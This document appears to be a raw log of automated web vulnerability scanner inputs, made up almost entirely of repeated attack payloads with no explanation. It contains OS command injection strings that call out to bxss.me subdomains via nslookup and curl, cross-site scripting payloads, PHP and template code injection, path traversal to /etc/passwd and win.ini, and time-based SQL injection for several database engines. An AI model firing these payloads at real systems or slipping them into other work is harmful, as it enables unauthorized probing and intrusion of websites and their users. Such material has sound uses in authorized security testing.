1 |(nslookup${IFS}-q${IFS}cname${IFS}hitbexbybqqea5e8b7.bxss.me||curl${IFS}hitbexbybqqea5e8b7.bxss.me)

1

1 1<ScRiPt>FLKe(9021)</sCripT>

555

1 1"&&sleep(271000)xxnppb&&"

1

".gethostbyname(lc("hituz"."tynkiqjlc2339.bxss.me."))."A".chr(67).chr(hex("58")).chr(97).chr(88).chr(98).chr(86)."

';print(md5(31337));$a='

1

<th:t="${dfb}#foreach

1

555

1 ;(nslookup -q=cname hitcyglspjhwdab3c3.bxss.me||curl hitcyglspjhwdab3c3.bxss.me)|(nslookup -q=cname hitcyglspjhwdab3c3.bxss.me||curl hitcyglspjhwdab3c3.bxss.me)&(nslookup -q=cname hitcyglspjhwdab3c3.bxss.me||curl hitcyglspjhwdab3c3.bxss.me)

1

^(#$!@#$)(()))******

1 1'&&sleep(271000)gbgexw&&'

1

'.gethostbyname(lc('hitov'.'dpmvbhpq21478.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(122).chr(81).chr(102).chr(81).'

;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));

1

1 `(nslookup -q=cname hitjryxvawrei077e5.bxss.me||curl hitjryxvawrei077e5.bxss.me)`

1

!(()&&!|*|*|

1 '"()

1

1

$1 &(nslookup -q=cname hitwurqajvapx220f5.bxss.me||curl hitwurqajvapx220f5.bxss.me)&'\"`0&(nslookup -q=cname hitwurqajvapx220f5.bxss.me||curl hitwurqajvapx220f5.bxss.me)&`'$

1 &(nslookup -q=cname hitwurqajvapx220f5.bxss.me||curl hitwurqajvapx220f5.bxss.me)&'\"`0&(nslookup -q=cname hitwurqajvapx220f5.bxss.me||curl hitwurqajvapx220f5.bxss.me)&`'

1

1 ^(#$!@#$)(()))******

1

1'||sleep(271000)yhchww||'

1

1 '.gethostbyname(lc('hitwt'.'lwcyvihpc8b82.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(119).chr(73).chr(105).chr(75).'

1

$1 &nslookup -q=cname hitarkpfpjxya4939b.bxss.me&'\"`0&nslookup -q=cname hitarkpfpjxya4939b.bxss.me&`'$

1 &nslookup -q=cname hitarkpfpjxya4939b.bxss.me&'\"`0&nslookup -q=cname hitarkpfpjxya4939b.bxss.me&`'

1

1 %31%3C%53%63%52%69%50%74%20%3E%46%4C%4B%65%289365%29%3C%2F%73%43%72%69%70%54%3E

555

1 !(()&&!|||

1

1"&&sleep(271000)ntwdrf&&"

1

<%={{={@{#{${dfb}}%>

1

555

gethostbyname(lc('hitzd'.'rxubxlnzd859a.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(107).chr(68).chr(106).chr(72)

1

1 $(nslookup -q=cname hithzwkknkxfv62687.bxss.me||curl hithzwkknkxfv62687.bxss.me)

1

1 )

1

1'&&sleep(271000)omnofn&&'

1

".gethostbyname(lc("hitqp"."aumthqcy2d354.bxss.me."))."A".chr(67).chr(hex("58")).chr(111).chr(82).chr(111).chr(89)."

1

1 (nslookup -q=cname hitbpzhmzfyne3f850.bxss.me||curl hitbpzhmzfyne3f850.bxss.me))

1

1 1<img/src=">" onerror=alert(9719)>

555

'"()

1

^(#$!@#$)(()))******

1

'.gethostbyname(lc('hitqv'.'ezjdoqxz4dae5.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(106).chr(83).chr(117).chr(90).'

1

bfgx1689

1

555

$1 1|echo vijvdg$()\ gxrrvj\nz^xyu||a #' |echo vijvdg$()\ gxrrvj\nz^xyu||a #|" |echo vijvdg$()\ gxrrvj\nz^xyu||a #$

1 1|echo vijvdg$()\ gxrrvj\nz^xyu||a #' |echo vijvdg$()\ gxrrvj\nz^xyu||a #|" |echo vijvdg$()\ gxrrvj\nz^xyu||a #

1

!(()&&!|||

1

$1 |echo ishrrh$()\ jwbiqp\nz^xyu||a #' |echo ishrrh$()\ jwbiqp\nz^xyu||a #|" |echo ishrrh$()\ jwbiqp\nz^xyu||a #$

1 |echo ishrrh$()\ jwbiqp\nz^xyu||a #' |echo ishrrh$()\ jwbiqp\nz^xyu||a #|" |echo ishrrh$()\ jwbiqp\nz^xyu||a #

1

)

1

1 1<img src=xyz OnErRor=FLKe(9967)>

555

bfg1862＜s1﹥s2ʺs3ʹhjl1862

1

555

$1 1&echo kkeuzi$()\ hkgxdr\nz^xyu||a #' &echo kkeuzi$()\ hkgxdr\nz^xyu||a #|" &echo kkeuzi$()\ hkgxdr\nz^xyu||a #$

1 1&echo kkeuzi$()\ hkgxdr\nz^xyu||a #' &echo kkeuzi$()\ hkgxdr\nz^xyu||a #|" &echo kkeuzi$()\ hkgxdr\nz^xyu||a #

1

$1 &echo wmzith$()\ iozxqx\nz^xyu||a #' &echo wmzith$()\ iozxqx\nz^xyu||a #|" &echo wmzith$()\ iozxqx\nz^xyu||a #$

1 &echo wmzith$()\ iozxqx\nz^xyu||a #' &echo wmzith$()\ iozxqx\nz^xyu||a #|" &echo wmzith$()\ iozxqx\nz^xyu||a #

1

1 1<img src=//xss.bxss.me/t/dot.gif onload=FLKe(9811)>

555

$1 echo tglkmi$()\ gmpryp\nz^xyu||a #' &echo tglkmi$()\ gmpryp\nz^xyu||a #|" &echo tglkmi$()\ gmpryp\nz^xyu||a #$

1 echo tglkmi$()\ gmpryp\nz^xyu||a #' &echo tglkmi$()\ gmpryp\nz^xyu||a #|" &echo tglkmi$()\ gmpryp\nz^xyu||a #

1

555

1

1&n974784=v951109

;(nslookup -q=cname hittnvpdoyztt5f994.bxss.me||curl hittnvpdoyztt5f994.bxss.me)|(nslookup -q=cname hittnvpdoyztt5f994.bxss.me||curl hittnvpdoyztt5f994.bxss.me)&(nslookup -q=cname hittnvpdoyztt5f994.bxss.me||curl hittnvpdoyztt5f994.bxss.me)

1

1 1<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9819'>

555

`(nslookup -q=cname hitsrzfzwvhaz3063d.bxss.me||curl hitsrzfzwvhaz3063d.bxss.me)`

1

1'"()&%<zzz><ScRiPt >KKLW(9257)</ScRiPt>

1

555

1 1&n911285=v912341

1

|(nslookup -q=cname hitdmzutefaprb4a3e.bxss.me||curl hitdmzutefaprb4a3e.bxss.me)

1

1 1<isindex type=image src=1 onerror=FLKe(9146)>

555

$&(nslookup -q=cname hitosjvqrqvzy21191.bxss.me||curl hitosjvqrqvzy21191.bxss.me)&'\"`0&(nslookup -q=cname hitosjvqrqvzy21191.bxss.me||curl hitosjvqrqvzy21191.bxss.me)&`' 1$

&(nslookup -q=cname hitosjvqrqvzy21191.bxss.me||curl hitosjvqrqvzy21191.bxss.me)&'\"`0&(nslookup -q=cname hitosjvqrqvzy21191.bxss.me||curl hitosjvqrqvzy21191.bxss.me)&`'

1

$&nslookup -q=cname hitghlpyfzkwn90bf8.bxss.me&'\"`0&nslookup -q=cname hitghlpyfzkwn90bf8.bxss.me&`' 1$

&nslookup -q=cname hitghlpyfzkwn90bf8.bxss.me&'\"`0&nslookup -q=cname hitghlpyfzkwn90bf8.bxss.me&`'

1

1&n929049=v978148

1

1 1<svg

555

$(nslookup -q=cname hitbsfyfyabkg970e8.bxss.me||curl hitbsfyfyabkg970e8.bxss.me)

1

(nslookup -q=cname hitwmiowjubvn7ec01.bxss.me||curl hitwmiowjubvn7ec01.bxss.me))

1

555

$1|echo ylxuth$()\ muxtzr\nz^xyu||a #' |echo ylxuth$()\ muxtzr\nz^xyu||a #|" |echo ylxuth$()\ muxtzr\nz^xyu||a # 1$

1|echo ylxuth$()\ muxtzr\nz^xyu||a #' |echo ylxuth$()\ muxtzr\nz^xyu||a #|" |echo ylxuth$()\ muxtzr\nz^xyu||a #

1

1 1<ScRiPt >FLKe(9459)</ScRiPt>

555

$|echo rgnfdq$()\ zpnxwf\nz^xyu||a #' |echo rgnfdq$()\ zpnxwf\nz^xyu||a #|" |echo rgnfdq$()\ zpnxwf\nz^xyu||a # 1$

|echo rgnfdq$()\ zpnxwf\nz^xyu||a #' |echo rgnfdq$()\ zpnxwf\nz^xyu||a #|" |echo rgnfdq$()\ zpnxwf\nz^xyu||a #

1

bxss.me

1

555

1

c:/windows/win.ini

$1&echo zikhbx$()\ ymmhlm\nz^xyu||a #' &echo zikhbx$()\ ymmhlm\nz^xyu||a #|" &echo zikhbx$()\ ymmhlm\nz^xyu||a # 1$

1&echo zikhbx$()\ ymmhlm\nz^xyu||a #' &echo zikhbx$()\ ymmhlm\nz^xyu||a #|" &echo zikhbx$()\ ymmhlm\nz^xyu||a #

1

1 1<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9650></ScRiPt>

1 1<ScRiPt >FLKe(9436)</ScRiPt>

555

$echo pfgmzc$()\ ggusor\nz^xyu||a #' &echo pfgmzc$()\ ggusor\nz^xyu||a #|" &echo pfgmzc$()\ ggusor\nz^xyu||a # 1$

echo pfgmzc$()\ ggusor\nz^xyu||a #' &echo pfgmzc$()\ ggusor\nz^xyu||a #|" &echo pfgmzc$()\ ggusor\nz^xyu||a #

1

QT0v2ngy

1

Http://bxss.me/t/fit.txt

1

1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%00.jpg

1

555

1

file:///etc/passwd

1 1<ScR<ScRiPt>IpT>FLKe(9893)</sCr<ScRiPt>IpT>

555

1

http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%3F.jpg

1

../../../../../../../../../../../../../../windows/win.ini

1

555

1

../../../../../../../../../../../../../../etc/passwd

1 bxss.me

1

1 1<script>FLKe(9357)</script>9357

555

1 c:/windows/win.ini

1

1 ../1

1

555

1 /etc/shells

1

1 1<script>FLKe(9875)</script>

555

1

1 http://bxss.me/t/fit.txt%3F.jpg

1

1 1<ScRiPt >FLKe(9063)</ScRiPt>

555

../1

1

bxss.me

1

1 "+response.write(9262821*9512423)+"

1

555

c:/windows/win.ini

1

1 '+response.write(9262821*9512423)+'

1

1 "dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

555

file:///etc/passwd

1

/etc/shells

1

1 response.write(9262821*9512423)

1

../../../../../../../../../../../../../../windows/win.ini

1

555

http://bxss.me/t/fit.txt%3F.jpg

1

"+response.write(9300517*9704613)+"

1

../../../../../../../../../../../../../../etc/passwd

1

$1 dfb__${98991*97996}__::.x$

1 dfb${98991*97996}::.x

555

Http://bxss.me/t/fit.txt

1

'+response.write(9300517*9704613)+'

1

555

1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%00.jpg

1

response.write(9300517*9704613)

1

1 dfb[[${98991*97996}]]xca

555

http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%3F.jpg

1

555

1

1 dfb{{98991*97996}}xca

555

1

555

1

1 1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

1 <%={{={@{#{${dfb}}%>

555

1

555

$1 12345'"\'\");|]*%00{%0d%0a<%00>%bf%27'$

1 12345'"\'\");|]*%00{%0d%0a<%00>%bf%27'

1

1<esi:include src="http://bxss.me/rpb.png"/>

1 bfgx4242

555

1

1 1<esi:include src="http://bxss.me/rpb.png"/>

1

555

$12345'"\'\");|]*%00{%0d%0a<%00>%bf%27' 1$

12345'"\'\");|]*%00{%0d%0a<%00>%bf%27'

1

1<esi:include src="http://bxss.me/rpb.png"/>

1

1 bfg2383＜s1﹥s2ʺs3ʹhjl2383

555

1

555

1

1 19330852

555

1

555

1

1 '"()&%<zzz><ScRiPt >FLKe(9445)</ScRiPt>

555

1

1}body{zzz:Expre/**/SSion(FLKe(9998))}

1

555

1

1

555

1

1

555

1

555<input autofocus onfocus=KKLW(9094)>

1<input autofocus onfocus=FLKe(9988)>

1

555

1

555

1

555<ScRiPt>KKLW(9271)</sCripT>

1<ScRiPt>FLKe(9280)</sCripT>

1

555

1

1

1

$dfb__${98991*97996}__::.x 1$

dfb${98991*97996}::.x

1

555

1

555

1

1 `(nslookup -q=cname hitsywccsuaav4b1ff.bxss.me||curl hitsywccsuaav4b1ff.bxss.me)`

1

nueva

1

555

1

555

$1 &nslookup -q=cname hitzizvzgpmkyed3c8.bxss.me&'\"`0&nslookup -q=cname hitzizvzgpmkyed3c8.bxss.me&`'$

1 &nslookup -q=cname hitzizvzgpmkyed3c8.bxss.me&'\"`0&nslookup -q=cname hitzizvzgpmkyed3c8.bxss.me&`'

555

dfb{{98991*97996}}xca

555

1 1'&&sleep(271000)awdhxc&&'

555

1

1 Array

555

$1 ${@print(md5(31337))}\$

1 ${@print(md5(31337))}\

555

1

555

$1 &echo txmgah$()\ tktwno\nz^xyu||a #' &echo txmgah$()\ tktwno\nz^xyu||a #|" &echo txmgah$()\ tktwno\nz^xyu||a #$

1 &echo txmgah$()\ tktwno\nz^xyu||a #' &echo txmgah$()\ tktwno\nz^xyu||a #|" &echo txmgah$()\ tktwno\nz^xyu||a #

555

1 Array

1 ';print(md5(31337));$a='

555

bfgx8714

1

1"&&sleep(271000)zismwt&&"

1

555

'.print(md5(31337)).'

1

555

1

5559454319

bfg7128＜s1﹥s2ʺs3ʹhjl7128

1

555

;(nslookup -q=cname hitpqmxkenpmx62e4d.bxss.me||curl hitpqmxkenpmx62e4d.bxss.me)|(nslookup -q=cname hitpqmxkenpmx62e4d.bxss.me||curl hitpqmxkenpmx62e4d.bxss.me)&(nslookup -q=cname hitpqmxkenpmx62e4d.bxss.me||curl hitpqmxkenpmx62e4d.bxss.me)

1

555

1'&&sleep(271000)swpyvw&&'

1

Array

1

555

1 '"

555

";print(md5(31337));$a="

1

555

$&(nslookup -q=cname hitjollraxwwob5c56.bxss.me||curl hitjollraxwwob5c56.bxss.me)&'\"`0&(nslookup -q=cname hitjollraxwwob5c56.bxss.me||curl hitjollraxwwob5c56.bxss.me)&`' 1$

&(nslookup -q=cname hitjollraxwwob5c56.bxss.me||curl hitjollraxwwob5c56.bxss.me)&'\"`0&(nslookup -q=cname hitjollraxwwob5c56.bxss.me||curl hitjollraxwwob5c56.bxss.me)&`'

1

555

Array

1

555

<!--

1

555

';print(md5(31337));$a='

1

555

1

555'"()&%<zzz><ScRiPt >KKLW(9728)</ScRiPt>

'"()&%<zzz><ScRiPt >FLKe(9703)</ScRiPt>

1

555

$&nslookup -q=cname hitbsxtpcosnffa854.bxss.me&'\"`0&nslookup -q=cname hitbsxtpcosnffa854.bxss.me&`' 1$

&nslookup -q=cname hitbsxtpcosnffa854.bxss.me&'\"`0&nslookup -q=cname hitbsxtpcosnffa854.bxss.me&`'

1

(nslookup -q=cname hitgjqamxqaogfe764.bxss.me||curl hitgjqamxqaogfe764.bxss.me))

1

555

$1|echo nfwwts$()\ thjykb\nz^xyu||a #' |echo nfwwts$()\ thjykb\nz^xyu||a #|" |echo nfwwts$()\ thjykb\nz^xyu||a # 1$

1|echo nfwwts$()\ thjykb\nz^xyu||a #' |echo nfwwts$()\ thjykb\nz^xyu||a #|" |echo nfwwts$()\ thjykb\nz^xyu||a #

1

555

1

555

1 )))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))

1 )))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))

555

1

555

$|echo jccanm$()\ ttfztt\nz^xyu||a #' |echo jccanm$()\ ttfztt\nz^xyu||a #|" |echo jccanm$()\ ttfztt\nz^xyu||a # 1$

|echo jccanm$()\ ttfztt\nz^xyu||a #' |echo jccanm$()\ ttfztt\nz^xyu||a #|" |echo jccanm$()\ ttfztt\nz^xyu||a #

1

555

1

555

))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))) 1

)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))

1

555

$1&echo ermttn$()\ zrdspy\nz^xyu||a #' &echo ermttn$()\ zrdspy\nz^xyu||a #|" &echo ermttn$()\ zrdspy\nz^xyu||a # 1$

1&echo ermttn$()\ zrdspy\nz^xyu||a #' &echo ermttn$()\ zrdspy\nz^xyu||a #|" &echo ermttn$()\ zrdspy\nz^xyu||a #

1

555

1

<!--

1

555

$&echo fdckxt$()\ yyaanb\nz^xyu||a #' &echo fdckxt$()\ yyaanb\nz^xyu||a #|" &echo fdckxt$()\ yyaanb\nz^xyu||a # 1$

&echo fdckxt$()\ yyaanb\nz^xyu||a #' &echo fdckxt$()\ yyaanb\nz^xyu||a #|" &echo fdckxt$()\ yyaanb\nz^xyu||a #

1

555

1

'"

$echo cdoxns$()\ xdqtyv\nz^xyu||a #' &echo cdoxns$()\ xdqtyv\nz^xyu||a #|" &echo cdoxns$()\ xdqtyv\nz^xyu||a # 1$

echo cdoxns$()\ xdqtyv\nz^xyu||a #' &echo cdoxns$()\ xdqtyv\nz^xyu||a #|" &echo cdoxns$()\ xdqtyv\nz^xyu||a #

1

555

1

555

xfs.bxss.me

1

555

1

555

1

555

1

555

1

555

1

555

1

555

1

555

1

555

1

xfs.bxss.me

1

'.print(md5(31337)).'

1

555

1

';print(md5(31337));$a='

1

555

1

555

1

555

1

555'&&sleep(27*1000)*gpecit&&'

1

gethostbyname(lc('hityv'.'msvlrbsa29a1b.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(100).chr(85).chr(117).chr(89)

1

Array

1 )

555

1

555

1

555

1

".gethostbyname(lc("hitdf"."aqixogug6c3cd.bxss.me."))."A".chr(67).chr(hex("58")).chr(107).chr(74).chr(122).chr(74)."

1

555

^(#$!@#$)(()))******

1

555

1

555

1

(nslookup -q=cname hiteqrfsehaal7a719.bxss.me||curl hiteqrfsehaal7a719.bxss.me))

Http://bxss.me/t/fit.txt

555

1 ../../../../../../../../../../../../../../windows/win.ini

555

1

|echo rrzyhi$()\ nosctb\nz^xyu||a #' |echo rrzyhi$()\ nosctb\nz^xyu||a #|" |echo rrzyhi$()\ nosctb\nz^xyu||a #

http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg

555

1

555<ifRAme sRc=9573.com></IfRamE>

1

&echo qnodgr$()\ djndcb\nz^xyu||a #' &echo qnodgr$()\ djndcb\nz^xyu||a #|" &echo qnodgr$()\ djndcb\nz^xyu||a #

RwaDkmfA

1

555

1

555

1

echo wkyuur$()\ goxant\nz^xyu||a #' &echo wkyuur$()\ goxant\nz^xyu||a #|" &echo wkyuur$()\ goxant\nz^xyu||a #

1

555<WHKDHV>4DNAU[!+!]</WHKDHV>

file:///etc/passwd

1

555

555

1

555

1

555

response.write(9328805*9772455)

1

c:/windows/win.ini

1

1

555

response.write(9420050*9601000)

Array

1

1

555

1

555<svg

1

555

1

555

'A'.concat(70-3).concat(22*4).concat(106).concat(84).concat(112).concat(87)+(require'socket' Socket.gethostbyname('hitmk'+'wsatmdhv2920e.bxss.me.')[3].to_s)

1

555

1

555<script>FLKe(9717)</script>9717

nueva

1 ;(nslookup -q=cname hitagsorfclnj23733.bxss.me||curl hitagsorfclnj23733.bxss.me)|(nslookup -q=cname hitagsorfclnj23733.bxss.me||curl hitagsorfclnj23733.bxss.me)&(nslookup -q=cname hitagsorfclnj23733.bxss.me||curl hitagsorfclnj23733.bxss.me)

555

1

555

1

555

1 `(nslookup -q=cname hitwmucdmixgt253f6.bxss.me||curl hitwmucdmixgt253f6.bxss.me)`

555

1

555<W1LTDS>CKXAE[!+!]</W1LTDS>

1

555

1

555

1

1 1"||sleep(271000)brsbel||"

555

1

'A'.concat(70-3).concat(22*4).concat(101).concat(70).concat(97).concat(89)+(require'socket'
Socket.gethostbyname('hitrq'+'wiscmaaj29008.bxss.me.')[3].to_s)

555

1 '.print(md5(31337)).'

555

$1 &echo aonqng$()\ gpevnn\nz^xyu||a #' &echo aonqng$()\ gpevnn\nz^xyu||a #|" &echo aonqng$()\ gpevnn\nz^xyu||a #$

1 &echo aonqng$()\ gpevnn\nz^xyu||a #' &echo aonqng$()\ gpevnn\nz^xyu||a #|" &echo aonqng$()\ gpevnn\nz^xyu||a #

555

1

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

1 HttP://bxss.me/t/xss.html?%00

555

1

555

$1 ${@print(md5(31337))}\$

1 ${@print(md5(31337))}\

555

$1 echo vzfjra$()\ hqqxfd\nz^xyu||a #' &echo vzfjra$()\ hqqxfd\nz^xyu||a #|" &echo vzfjra$()\ hqqxfd\nz^xyu||a #$

1 echo vzfjra$()\ hqqxfd\nz^xyu||a #' &echo vzfjra$()\ hqqxfd\nz^xyu||a #|" &echo vzfjra$()\ hqqxfd\nz^xyu||a #

555

bxss.me/t/xss.html?%00

1

1

555

1"||sleep(271000)ndsaho||"

1

555

1 ";print(md5(31337));$a="

555

|(nslookup${IFS}-q${IFS}cname${IFS}hitetyndhkxgk433c2.bxss.me||curl${IFS}hitetyndhkxgk433c2.bxss.me)

1

'.print(md5(31337)).'

1

555

|(nslookup -q=cname hitewsdgxgwke8b036.bxss.me||curl hitewsdgxgwke8b036.bxss.me)

1

555

1

bfg1669＜s1﹥s2ʺs3ʹhjl1669

1

HttP://bxss.me/t/xss.html?%00

'"()

1

555

$&(nslookup -q=cname hitijzxmdieyp2d8f7.bxss.me||curl hitijzxmdieyp2d8f7.bxss.me)&'\"`0&(nslookup -q=cname hitijzxmdieyp2d8f7.bxss.me||curl hitijzxmdieyp2d8f7.bxss.me)&`' 1$

&(nslookup -q=cname hitijzxmdieyp2d8f7.bxss.me||curl hitijzxmdieyp2d8f7.bxss.me)&'\"`0&(nslookup -q=cname hitijzxmdieyp2d8f7.bxss.me||curl hitijzxmdieyp2d8f7.bxss.me)&`'

1

@@a88NR

1

1

1

1'"

1

1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

1

1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

1

1

1

1fWW52Qi1')) OR 892=(SELECT 892 FROM PG_SLEEP(15))--

1

1Ck45Ldyd') OR 714=(SELECT 714 FROM PG_SLEEP(15))--

1

1

1

1RPejs5Xq' OR 875=(SELECT 875 FROM PG_SLEEP(15))--

1

1

1

1-1)) OR 81=(SELECT 81 FROM PG_SLEEP(15))--

1

1-1) OR 966=(SELECT 966 FROM PG_SLEEP(15))--

1

1-1 OR 699=(SELECT 699 FROM PG_SLEEP(15))--

1

1NlouPYJo'; waitfor delay '0:0:15' --

1

1-1 waitfor delay '0:0:15' --

1

1-1); waitfor delay '0:0:15' --

1

1-1; waitfor delay '0:0:15' --

1

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

1

10"XOR(1*if(now()=sysdate(),sleep(15),0))XOR"Z

1

10'XOR(1*if(now()=sysdate(),sleep(15),0))XOR'Z

1

1*if(now()=sysdate(),sleep(15),0)

1

-1" OR 2+821-821-1=0+0+0+1 --

1

-1' OR 2+591-591-1=0+0+0+1 or '1rB3o9XR'='

1

-1' OR 2+735-735-1=0+0+0+1 --

1

-1 OR 2+324-324-1=0+0+0+1

1

-1 OR 2+231-231-1=0+0+0+1 --

1

1

1

1G4ScLayA

1

1

1

1

1

@@nd3Ae

1

1

1

1'"

1

1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

@@LMtLd

1

1

1

1'"

1

1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

1

1

1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

(select(0)from(select(sleep(15)))v)/'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"/

(select(0)from(select(sleep(15)))v)/'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"/

(select(0)from(select(sleep(15)))v)/'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"/